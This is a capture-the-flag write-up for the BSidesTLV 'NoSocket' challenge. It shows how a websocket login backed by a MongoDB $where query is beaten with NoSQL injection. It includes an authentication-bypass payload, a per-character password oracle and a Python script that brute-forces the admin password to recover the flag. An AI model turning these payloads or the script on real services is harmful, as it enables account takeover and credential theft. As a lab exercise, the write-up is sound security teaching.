NoSocket
By Yaakov Cohen
The link leads to a site with a login form:
Looking at the source code we see code for a websocket:
var ws;
var url = 'ws://' + location.hostname + ':8000/login';
function openSocket() {
ws = new WebSocket(url);
ws.binaryType = 'arraybuffer'; // default is 'blob'
ws.onopen = function() {
console.log('open');
};
ws.onclose = function() {
console.log('close');
};
ws.onmessage = function(e) {
if (e.data instanceof ArrayBuffer) {
log(decodeCharCode(new Uint8Array(e.data)));
} else {
log(e.data);
}
};
ws.onerror = function() {
log('error');
closeSocket();
};
}
function closeSocket() {
log('closing');
ws.close();
}
function login() {
var data = {}; // <- initialize an object, not an array
data["username"] = document.getElementById('username').value;
data["password"] = document.getElementById('password').value;
val = JSON.stringify(data); // {"username":"admin", "password": "admin"}
// {"$where": "this.username == '" + username + "' && this.password == '" + password + "'"}
ws.send(val);
}
function decodeCharCode(data) {
var res = '';
for (var i = 0, len = data.length; i < len; i++) {
var value = data[i];
res += String.fromCharCode(value);
}
return res;
}
function log(message) {
alert(message)
}
openSocket()
We also see how the user is authenticated. Let's see if we can use NoSQLi. We'll put admin
as the username and ' || 1 == '1
as the password. It worked, but all we got is a popup saying Success!
. Oh but they said the flag is the password for admin
so maybe instead of trying to completly bypass the password check we can use it to find what the password is.
We know all the flags are in the format BSidesTLV{flag}
. Using this knowledge we tried using the password ' || this.password[0] == 'B
and we got Success!
, looks like we can do this for all the characters of the password.
We skipped the first 10 characters because we knew they were BSidesTLV{
and guessed that the flag was less than 30 characters long.
Code:
import string
from websocket import create_connection
def crack_char(index):
for char in string.printable:
pass_inject = "' || this.password[%d] == '%s" % (index, char)
data = "{\"username\":\"admin\", \"password\": \"%s\"}" % pass_inject
ws.send(data)
response = ws.recv()
if "Success!" in response:
return char
ws = create_connection('ws://two.challenges.bsidestlv.com:8000/login')
response = ""
for i in range(10, 30):
response += crack_char(i)
print response
print 'Flag: BSidesTLV{' + response # BSidesTLV{0r0n3Equ4l0n3!}
ws.close()